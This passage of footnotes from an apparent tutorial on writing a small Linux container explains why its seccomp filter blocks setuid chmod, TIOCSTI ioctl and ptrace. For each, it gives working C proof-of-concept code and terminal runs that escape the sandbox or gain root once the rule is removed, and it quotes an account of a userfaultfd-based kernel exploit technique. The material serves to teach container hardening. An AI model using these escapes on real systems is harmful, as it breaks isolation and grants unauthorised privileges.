 	scmp_filter_ctx ctx = NULL;
 	fprintf(stderr, "=> filtering syscalls...");
 	if (!(ctx = seccomp_init(SCMP_ACT_ALLOW))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
-				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
-				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(unshare), 1,
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./self_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.EXwjdL...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ chmod / fchmod / fchmodat failed:
Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$sudo ./contained.allow_chmod -m . -u 0 -c ./self_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.35HO0W...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$./self_setuid shell
sh-4.3#whoami
root
sh-4.3# exit
[lizzie@empress l-c-i-500-l]$rm ./self_setuid

49

I heard about this pretty recently because of CVE-2016-7545, an SELinux bug:

Hi,

When executing a program via the SELinux sandbox, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
escape the sandbox.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
     char *cmd = "id\n";
     while(*cmd)
      ioctl(0, TIOCSTI, cmd++);
     execlp("/bin/id", "id", NULL);
}

$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
$ id    <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Bug report:
https://bugzilla.redhat.com/show_bug.cgi?id=1378577

Upstream fix:
https://marc.info/?l=selinux&m=147465160112766&w=2
https://marc.info/?l=selinux&m=147466045909969&w=2
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Federico Bento.

/* -*- compile-command: "gcc -Wall -Werror -static tiocsti.c -o tiocsti" -*- */
/* adapted from http://www.openwall.com/lists/oss-security/2016/09/25/1 */
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>

int main()
{
     for (char *cmd = "id\n"; *cmd; cmd++) {
	     if (ioctl(STDIN_FILENO, TIOCSTI, cmd)) {
		     fprintf(stderr, "++ ioctl failed: %m\n");
		     return 1;
	     }
     }
     return 0;
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..5fb25bd 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -167,8 +167,6 @@ int syscalls()
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ioctl), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, TIOCSTI, TIOCSTI))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./tiocsti 
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.P5QATt...done.
=> trying a user namespace...writing /proc/1819/uid_map...writing
/proc/1819/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ ioctl failed: Operation not
permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_tiocsti -m . -u 0 -c ./tiocsti 
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.J9mulv...done.
=> trying a user namespace...writing /proc/1865/uid_map...writing
/proc/1865/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
id
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ uid=1000(lizzie) gid=1000(lizzie) groups=1000(lizzie)

50

There's a notion of "user keyrings", that I believe are user-namespaced, but that's it.

	User keyrings
		Each UID known to the kernel has a record that contains
		two  keyrings: The  user keyring  and the  user session
		keyring.  These exist for as  long as the UID record in
		the  kernel exists.   A  link to  the  user keyring  is
		placed in a  new session keyring by  pam_keyinit when a
		new login session is initiated.

51

man 2 seccomp says:

The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes must not allow use of ptrace(2)–even of other sandboxed processes–without extreme care; ptracers can use this mechanism to escape from the seccomp sandbox.)

Here's an example (remember that our seccomp profile should prevent chmod(x, I_SUID) :

/* -*- compile-command: "gcc -Wall -Werror -static ptrace_breaks_seccomp.c -o ptrace_breaks_seccomp" -*- */
#include <sys/stat.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <stddef.h>
#include <sys/syscall.h>

#define MAGIC_SYSCALL 666

int main (int argc, char **argv)
{
	pid_t child = 0;
	switch ((child = fork())) {
	case -1:
		fprintf(stderr, "++ fork failed: %m\n");
		return 1;
	case 0:;
		fprintf(stderr, "++ child stopping itself.\n");
		if (kill(getpid(), SIGSTOP)) {
			fprintf(stderr, "++ kill failed: %m\n");
			return 1;
		}
		fprintf(stderr, "++ child continued\n");
		/* pick an arbitrary syscall number. our tracer will change it to chmod. */
		if (syscall(MAGIC_SYSCALL, argv[0], S_ISUID | S_IRUSR | S_IWUSR | S_IXUSR)) {
			fprintf(stderr, "chmod-via-nanosleep failed: %m\n");
			return 1;
		}
		fprintf(stderr, "++ chmod succeeded, child finished.\n");
		break;
	default:;
		int status = 0;
		if (ptrace(PTRACE_ATTACH,child, NULL, NULL)) {
			fprintf(stderr, "++ ptrace failed: %m\n");
			return 1;
		}
		waitpid(child, &status, 0);
		if (!(status & SIGSTOP)) {
			fprintf(stderr, "++ expected SIGSTOP in child.\n");
			return 1;
		}
		struct user_regs_struct regs = {0};
		while (1) {
			if (ptrace(PTRACE_GETREGS, child, 0, &regs)) {
				fprintf(stderr, "++ getting child registers failed: %m\n");
				return 1;
			}
			if (!(regs.orig_rax == MAGIC_SYSCALL)) {
				if (ptrace(PTRACE_SYSCALL, child, 0, 0)) {
					fprintf(stderr, "++ continuing the process failed.\n");
					return 1;
				}
				waitpid(child, &status, 0);
				if (!(status & SIGTRAP)) {
					fprintf(stderr, "++ expected SIGTRAP in child.\n");
					return 1;
				}
			} else {
				fprintf(stderr, "++ got MAGIC_SYSCALL!\n");
				regs.orig_rax = SYS_chmod;
				if (ptrace(PTRACE_SETREGS, child, 0, &regs)) {
					fprintf(stderr, "++ continuing child failed: %m\n");
					return 1;
				}
				if (ptrace(PTRACE_CONT, child, 0, 0)) {
					fprintf(stderr, "++ continuing child failed: %m\n");
					return 1;
				}
				break;
			}
		}
		waitpid(child, NULL, 0);
		fprintf(stderr, "++ finished waiting.\n");

		break;
	}
	return 0;
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 2291ecb..42ecbc6 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -173,7 +173,6 @@ int syscalls()
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ptrace), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(mbind), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(migrate_pages), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(move_pages), 0)
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./ptrace_breaks_seccomp 
=> validating Linux version...4.7.6-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.EiZRVH...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ child stopping itself.
++ ptrace failed: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_ptrace -m . -u 0 -c ./ptrace_breaks_seccomp 
=> validating Linux version...4.7.6-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.ThyjKm...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ child stopping itself.
++ child continued
++ got MAGIC_SYSCALL!
++ chmod succeeded, child finished.
++ finished waiting.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ls -lh ptrace_breaks_seccomp 
-rws------ 1 lizzie lizzie 793K Oct 11 14:55 ptrace_breaks_seccomp

This seems to have been fixed in June by Kees Cook:

There has been a long-standing (and documented) issue with seccomp
where ptrace can be used to change a syscall out from under seccomp.
This is a problem for containers and other wider seccomp filtered
environments where ptrace needs to remain available, as it allows
for an escape of the seccomp filter.

Since the ptrace attack surface is available for any allowed syscall,
moving seccomp after ptrace doesn't increase the actually available
attack surface. And this actually improves tracing since, for
example, tracers will be notified of syscall entry before seccomp
sends a SIGSYS, which makes debugging filters much easier.

The per-architecture changes do make one (hopefully small)
semantic change, which is that since ptrace comes first, it may
request a syscall be skipped. Running seccomp after this doesn't
make sense, so if ptrace wants to skip a syscall, it will bail
out early similarly to how seccomp was. This means that skipped
syscalls will not be fed through audit, though that likely means
we're actually avoiding noise this way.

This series first cleans up seccomp to remove the now unneeded
two-phase entry, fixes the SECCOMP_RET_TRACE hole (same as the
ptrace hole above), and then reorders seccomp after ptrace on
each architecture.

Thanks,

-Kees

This patchset made it into the kernel at 4.8. See for example 93e35e :

  [lizzie@empress linux-stable]$ git branch --contains 93e35efb8de45393cf61ed07f7b407629bf698ea
  * linux-4.8.y
    master

52

This is, as far as I can tell, only documented in the kernel tree:

= Userfaultfd =

== Objective ==

Userfaults allow the implementation of on-demand paging from userland
and more generally they allow userland to take control of various
memory page faults, something otherwise only the kernel code could do.

[...]

= API ==

When first opened the userfaultfd must be enabled invoking the
UFFDIO_API ioctl specifying a uffdio_api.api value set to UFFD_API (or
a later API version) which will specify the read/POLLIN protocol
userland intends to speak on the UFFD and the uffdio_api.features
userland requires. The UFFDIO_API ioctl if successful (i.e. if the
requested uffdio_api.api is spoken also by the running kernel and the
requested features are going to be enabled) will return into
uffdio_api.features and uffdio_api.ioctls two 64bit bitmasks of
respectively all the available features of the read(2) protocol and
the generic ioctl available.

Once the userfaultfd has been enabled the UFFDIO_REGISTER ioctl should
be invoked (if present in the returned uffdio_api.ioctls bitmask) to
register a memory range in the userfaultfd by setting the
uffdio_register structure accordingly. The uffdio_register.mode
bitmask will specify to the kernel which kind of faults to track for
the range (UFFDIO_REGISTER_MODE_MISSING would track missing
pages). The UFFDIO_REGISTER ioctl will return the
uffdio_register.ioctls bitmask of ioctls that are suitable to resolve
userfaults on the range registered. Not all ioctls will necessarily be
supported for all memory types depending on the underlying virtual
memory backend (anonymous memory vs tmpfs vs real filebacked
mappings).

Userland can use the uffdio_register.ioctls to manage the virtual
address space in the background (to add or potentially also remove
memory from the userfaultfd registered range). This means a userfault
could be triggering just before userland maps in the background the
user-faulted page.

The primary ioctl to resolve userfaults is UFFDIO_COPY. That
atomically copies a page into the userfault registered range and wakes
up the blocked userfaults (unless uffdio_copy.mode &
UFFDIO_COPY_MODE_DONTWAKE is set). Other ioctl works similarly to
UFFDIO_COPY. They're atomic as in guaranteeing that nothing can see an
half copied page since it'll keep userfaulting until the copy has
finished.

53

Jann Horn described this to me, and linked to his vulnerability and exploit :

In order to make exploitation more reliable, the attacker should be able to pause code execution in the kernel between the writability check of the target file and the actual write operation. This can be done by abusing the writev() syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays read accesses, then mmap()s a file containing a struct iovec from that FUSE filesystem and passes the result of mmap() to writev(). (Another way to do this would be to use the userfaultfd() syscall.)

It was also used by Vitaly Nikolenko in his proof-of-concept for CVE-2016-6187 :

[…]

If we could overwrite the cleanup function pointer (remember that this object is now allocated in user space), then we'll have arbitrary code execution with CPL=0. The only problem is that subprocess_info object allocation and freeing happens on the same path. One way to modify the object's function pointer is to somehow suspend the execution before info->cleanup)(info) gets called and set the function pointer to our privilege escalation payload. I could have found other objects of the same size with two "separate" paths for allocation and function triggering but I needed a reason to try userfaultfd() and the page splitting idea.

The userfaultfd syscall can be used to handle page faults in user space. We can allocate a page in user space and set up a handler (as a separate thread); when this page is accessed either for reading or writing, execution will be transferred to the user-space handler to deal with the page fault. There's nothing new here and this was mentioned by Jann Hornh

[…].

  • Allocate two consecutive pages, split the object over these two pages (as before) and set up the page handler for the second page.
  • When the user-space PF is triggered by memset, set up another user-space PF handler but for the first page.
  • The next user-space PF will be triggered when object variables (located in the first page) get initialised in call_usermodehelper_setup. At this point, set up another PF for the second page.
  • Finally, the last user-space PF handler can modify the cleanup function pointer (by setting it to our privilege escalation payload or a ROP chain) and set the path member to 0 (since these members are all located in the first page and already initialised).

Setting up user-space PF handlers for already "page-faulted" pages can be accomplished by munmapping/mapping these pages again and then passing them to userfaultfd(). The PoC for 4.5.1 can be found here . There's nothing specific to the kernel version though (it should work on all vulnerable kernels). There's no privilege escalation payload but the PoC will execute instructions at the user-space address 0xdeadbeef.

54

    PERF_EVENT_OPEN(2) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

    NAME
            perf_event_open - set up performance monitoring

    SYNOPSIS
            #include <linux/perf_event.h>
            #include <linux/hw_breakpoint.h>

            int perf_event_open(struct perf_event_attr *attr,
                                            pid_t pid, int cpu, int group_fd,
                                            unsigned long flags);

            Note: There  is no glibc  wrapper for this system  call; see
            NOTES.

    DESCRIPTION
            [...]

    Arguments

         The pid and cpu arguments allow specifying which process and
         CPU to monitor:

         pid == 0 and cpu == -1
                 This measures the calling process/thread on any CPU.

         pid == 0 and cpu >= 0
                 This  measures  the  calling process/thread  only  when
                 running on the specified CPU.

         pid > 0 and cpu == -1
                 This measures the specified process/thread on any CPU.

         pid > 0 and cpu >= 0
                 This  measures the  specified process/thread  only when
                 running on the specified CPU.

         pid == -1 and cpu >= 0
                 This  measures all  processes/threads on  the specified
                 CPU.   This  requires  CAP_SYS_ADMIN  capability  or  a
                 /proc/sys/kernel/perf_event_paranoid value of less than
                 1.

         pid == -1 and cpu == -1
                 This setting is invalid and will return an error.

If a pid is specified, the corresponding process is found within the namespace:

    /**
     * sys_perf_event_open - open a performance event, associate it to a task/cpu
     *
     * @attr_uptr:  event_id type attributes for monitoring/sampling
     * @pid:                target pid
     * @cpu:                target cpu
     * @group_fd:           group leader event fd
     */
    SYSCALL_DEFINE5(perf_event_open,
                    struct perf_event_attr __user *, attr_uptr,
                    pid_t, pid, int, cpu, int, group_fd, unsigned long, flags)
    {
            /* ... */

            if (pid != -1 && !(flags & PERF_FLAG_PID_CGROUP)) {
                    task = find_lively_task_by_vpid(pid);
                    if (IS_ERR(task)) {
                            err = PTR_ERR(task);
                            goto err_group_fd;
                    }
            }

            /* ... */
    }

    static struct task_struct *
    find_lively_task_by_vpid(pid_t vpid)
    {
            struct task_struct *task;

            rcu_read_lock();
            if (!vpid)
                    task = current;
            else
                    task = find_task_by_vpid(vpid);
            if (task)
                    get_task_struct(task);
            rcu_read_unlock();

            if (!task)
                    return ERR_PTR(-ESRCH);

            return task;
    }

    struct task_struct *find_task_by_vpid(pid_t vnr)
    {
            return find_task_by_pid_ns(vnr, task_active_pid_ns(current));
    }

55

The Relevant commit is 0161028 , whose commit message gives a good description of the problems:

commit 0161028b7c8aebef64194d3d73e43bc3b53b5c66
Author: Andy Lutomirski <redacted>
Date:   Mon May 9 15:48:51 2016 -0700

    perf/core: Change the default paranoia level to 2
    
    Allowing unprivileged kernel profiling lets any user dump follow kernel
    control flow and dump kernel registers.  This most likely allows trivial
    kASLR bypassing, and it may allow other mischief as well.  (Off the top
    of my head, the PERF_SAMPLE_REGS_INTR output during /dev/urandom reads
    could be quite interesting.)
    
    Signed-off-by: Andy Lutomirski <redacted>
    Acked-by: Kees Cook <redacted>
    Signed-off-by: Linus Torvalds <redacted>

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index 57653a4..fcddfd5 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -645,7 +645,7 @@ allowed to execute.
 perf_event_paranoid:
 
 Controls use of the performance events system by unprivileged
-users (without CAP_SYS_ADMIN).  The default value is 1.
+users (without CAP_SYS_ADMIN).  The default value is 2.
 
  -1: Allow use of (almost) all events by all users
 >=0: Disallow raw tracepoint access by users without CAP_IOC_LOCK
diff --git a/kernel/events/core.c b/kernel/events/core.c
index 4e2ebf6..c0ded24 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -351,7 +351,7 @@ static struct srcu_struct pmus_srcu;
  *   1 - disallow cpu events for unpriv
  *   2 - disallow kernel profiling for unpriv
  */
-int sysctl_perf_event_paranoid __read_mostly = 1;
+int sysctl_perf_event_paranoid __read_mostly = 2;
 
 /* Minimum for 512 kiB + 1 user control page */

This is included in 4.6:

[lizzie@empress linux]$ git tag --contains 0161028b7c8aebef64194d3d73e43bc3b53b5c66
v4.6
v4.7
v4.7-rc1
v4.7-rc2
v4.7-rc3
v4.7-rc4
v4.7-rc5
v4.7-rc6
v4.7-rc7
v4.8
v4.8-rc1
v4.8-rc2
v4.8-rc3
v4.8-rc4
v4.8-rc5
v4.8-rc6
v4.8-rc7
v4.8-rc8

Thanks to Jann Horn for pointing this out.

56

Documentation/prctl/no_new_privs.txt@c8d2bc

The execve system call can grant a newly-started program privileges that its parent did not have. The most obvious examples are setuid/setgid programs and file capabilities. […] Any task can set no_new_privs. Once the bit is set, it is inherited across fork, clone, and execve and cannot be unset. With no_new_privs set, execve promises not to grant the privilege to do anything that could not have been done without the execve call.

		In order to  use the SECCOMP_SET_MODE_FILTER operation,
		either   the  caller   must   have  the   CAP_SYS_ADMIN
		capability in  its user  namespace, or the  thread must
		already have the no_new_privs bit set.  If that bit was
		not  already set  by an  ancestor of  this thread,  the
		thread must make the following call:

		    prctl(PR_SET_NO_NEW_PRIVS, 1);

		Otherwise,  the SECCOMP_SET_MODE_FILTER  operation will
		fail  and return  EACCES  in  errno.  This  requirement
		ensures  that an  unprivileged process  cannot apply  a
		malicious filter and then invoke a set-user-ID or other
		privileged  program using  execve(2), thus  potentially
		compromising  that program.   (Such a  malicious filter
		might, for  example, cause an attempt  to use setuid(2)
		to  set the  caller's user  IDs to  non-zero values  to
		instead  return 0  without actually  making the  system
		call.   Thus,   the  program  might  be   tricked  into
		retaining superuser  privileges in  circumstances where
		it is possible  to influence it to  do dangerous things
		because it did not actually drop privileges.)

It took me a while to internalize this behavior. My impression was that without PR_SET_NO_NEW_PRIVS , seccomp filters would be dropped across a setuid exec. This would lead to an easy way to escape seccomp :

  • Create a setuid executable that calls some filtered syscall.
  • Become a non-root user.
  • Execute that setuid executable.

But that's actually not the case. Instead, you just can't set seccomp filters unless you have one of the following:

  • PR_SET_NO_NEW_PRIVS == 1
  • CAP_SYS_ADMIN

and so libseccomp sets PR_SET_NO_NEW_PRIVS by default.

Here's the code I thought would work:

/* -*- compile-command: "gcc -Wall -Werror -static setuidd_lower_reexec_and_escape.c -o setuidd_lower_reexec_and_escape" -*- */
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main (int argc, char **argv)
{
	if (argc == 1) {
		if (setresuid(99, 99, 99)) {
			fprintf(stderr, "++ setresuid failed: %m\n");
			return 1;
		}
		if (execve(argv[0], (char *[]) {argv[0], "-", 0}, NULL)) {
			fprintf(stderr, "++ execve failed: %m\n");
			return 1;
		}
	} else {
		uid_t a, b, c = 0;
		getresuid(&a, &b, &c);
		fprintf(stderr, "++ we're %u/%u/%u.\n", a, b, c);
		if (ioctl(STDIN_FILENO, TIOCSTI, "!")) {
		     fprintf(stderr, "++ ioctl failed: %m\n");
		     return 1;
		}
	}
}

but it doesn't :

[lizzie@empress l-c-i-500-l]$sudo chown root setuidd_lower_reexec_and_escape
[lizzie@empress l-c-i-500-l]$sudo chmod 4007 setuidd_lower_reexec_and_escape
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./setuidd_lower_reexec_and_escape
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.ZM2vnz...done.
=> trying a user namespace...writing /proc/2095/uid_map...writing
/proc/2095/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ we're 99/99/99.  ++ ioctl failed:
Operation not permitted
=> cleaning cgroups...done.

Here's the code responsible for that check:

/**
 * seccomp_prepare_filter: Prepares a seccomp filter for use.
 * @fprog: BPF program to install
 *
 * Returns filter on success or an ERR_PTR on failure.
 */
static struct seccomp_filter *seccomp_prepare_filter(struct sock_fprog *fprog)
{
	struct seccomp_filter *sfilter;
	int ret;
	const bool save_orig = IS_ENABLED(CONFIG_CHECKPOINT_RESTORE);

	if (fprog->len == 0 || fprog->len > BPF_MAXINSNS)
		return ERR_PTR(-EINVAL);

	BUG_ON(INT_MAX / fprog->len < sizeof(struct sock_filter));

	/*
	 * Installing a seccomp filter requires that the task has
	 * CAP_SYS_ADMIN in its namespace or be running with no_new_privs.
	 * This avoids scenarios where unprivileged tasks can affect the
	 * behavior of privileged children.
	 */
	if (!task_no_new_privs(current) &&
	    security_capable_noaudit(current_cred(), current_user_ns(),
				     CAP_SYS_ADMIN) != 0)
		return ERR_PTR(-EACCES);

	/* Allocate a new seccomp_filter */
	sfilter = kzalloc(sizeof(*sfilter), GFP_KERNEL | __GFP_NOWARN);
	if (!sfilter)
		return ERR_PTR(-ENOMEM);

	ret = bpf_prog_create_from_user(&sfilter->prog, fprog,
					seccomp_check_filter, save_orig);
	if (ret < 0) {
		kfree(sfilter);
		return ERR_PTR(ret);
	}

	atomic_set(&sfilter->usage, 1);

	return sfilter;
}

and the code that unconditionally propagates seccomp filters across exec:

static void copy_seccomp(struct task_struct *p)
{
#ifdef CONFIG_SECCOMP
	/*
	 * Must be called with sighand->lock held, which is common to
	 * all threads in the group. Holding cred_guard_mutex is not
	 * needed because this new task is not yet running and cannot
	 * be racing exec.
	 */
	assert_spin_locked(&current->sighand->siglock);

	/* Ref-count the new filter user, and assign it. */
	get_seccomp_filter(current);
	p->seccomp = current->seccomp;

	/*
	 * Explicitly enable no_new_privs here in case it got set
	 * between the task_struct being duplicated and holding the
	 * sighand lock. The seccomp state and nnp must be in sync.
	 */
	if (task_no_new_privs(current))
		task_set_no_new_privs(p);

	/*
	 * If the parent gained a seccomp mode after copying thread
	 * flags and between before we held the sighand lock, we have
	 * to manually enable the seccomp thread flag here.
	 */
	if (p->seccomp.mode != SECCOMP_MODE_DISABLED)
		set_tsk_thread_flag(p, TIF_SECCOMP);
#endif
}

(called by copy_process in kernel/fork.c@c8d2bc ).

57

NOTES
	Glibc does not provide a  wrapper for this system call; call
	it using  syscall(2).  Or rather...   don't call it:  use of
	this system  call has  long been discouraged,  and it  is so
	unloved that  it is likely  to disappear in a  future kernel
	version.   Since  Linux 2.6.24,  uses  of  this system  call
	result in warnings  in the kernel log.  Remove  it from your
	programs now; use the /proc/sys interface instead.

	This  system  call  is  available only  if  the  kernel  was
	configured with the CONFIG_SYSCTL_SYSCALL option.

config SYSCTL_SYSCALL
	bool "Sysctl syscall support" if EXPERT
	depends on PROC_SYSCTL
	default n
	select SYSCTL
	---help---
	  sys_sysctl uses binary paths that have been found challenging
	  to properly maintain and use.  The interface in /proc/sys
	  using paths with ascii names is now the primary path to this
	  information.

	  Almost nothing using the binary sysctl interface so if you are
	  trying to save some space it is probably safe to disable this,
	  making your kernel marginally smaller.

	  If unsure say N here.

58

DESCRIPTION
	The system calls alloc_hugepages() and free_hugepages() were
	introduced  in Linux  2.5.36  and removed  again in  2.5.54.
	They  existed  only  on  i386  and  ia64  (when  built  with
	CONFIG_HUGETLB_PAGE).  In Linux  2.4.20, the syscall numbers
	exist, but the calls fail with the error ENOSYS.

59

DESCRIPTION
	Note: Since  Linux 2.6, this  system call is  deprecated and
	does nothing.   It is  likely to  disappear altogether  in a
	future  kernel release.   Nowadays,  the  task performed  by
	bdflush() is handled by the kernel pdflush thread.

60

DESCRIPTION
	Note: This  system call  is present  only in  kernels before
	Linux 2.6.

61

NAME
	nfsservctl - syscall interface to kernel nfs daemon

SYNOPSIS
	#include <linux/nfsd/syscall.h>

	long nfsservctl(int cmd, struct nfsctl_arg *argp,
				 union nfsctl_res *resp);

DESCRIPTION
	Note: Since  Linux 3.1, this  system call no  longer exists.
	It  has  been  replaced  by  a set  of  files  in  the  nfsd
	filesystem; see nfsd(7).

63

GET_KERNEL_SYMS(2) -- 2016-10-08 -- Linux -- Linux Programmer's Manual

NAME
	get_kernel_syms  -  retrieve   exported  kernel  and  module
	symbols

SYNOPSIS
	#include <linux/module.h>

	int get_kernel_syms(struct kernel_sym *table);

	Note:  No declaration  of this  system call  is provided  in
	glibc headers; see NOTES.

DESCRIPTION
	Note: This  system call  is present  only in  kernels before
	Linux 2.6.

64

SETUP(2) -- 2008-12-03 -- Linux -- Linux Programmer's Manual

NAME
	setup - setup devices and filesystems, mount root filesystem

	[...]

VERSIONS
	Since Linux 2.1.121, no such function exists anymore.

65

man 2 clock_settime is unfortunately pretty vague:

    CLOCK_GETRES(2) -- 2016-05-09 -- Linux Programmer's Manual

    NAME
            clock_getres, clock_gettime, clock_settime  - clock and time
            functions

            [...]

    ERRORS

            EFAULT
                    tp points outside the accessible address space.

            EINVAL
                    The clk_id specified is not supported on this system.

            EPERM
                    clock_settime()  does not  have permission  to set  the
                    clock indicated.

but you can see in the source that CLOCK_REALTIME is the only clock with .clock_set and .clock_adj set:

    /*
     * Initialize everything, well, just everything in Posix clocks/timers ;)
     */
    static __init int init_posix_timers(void)
    {
            struct k_clock clock_realtime = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_clock_realtime_get,
                    .clock_set      = posix_clock_realtime_set,
                    .clock_adj      = posix_clock_realtime_adj,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };
            struct k_clock clock_monotonic = {
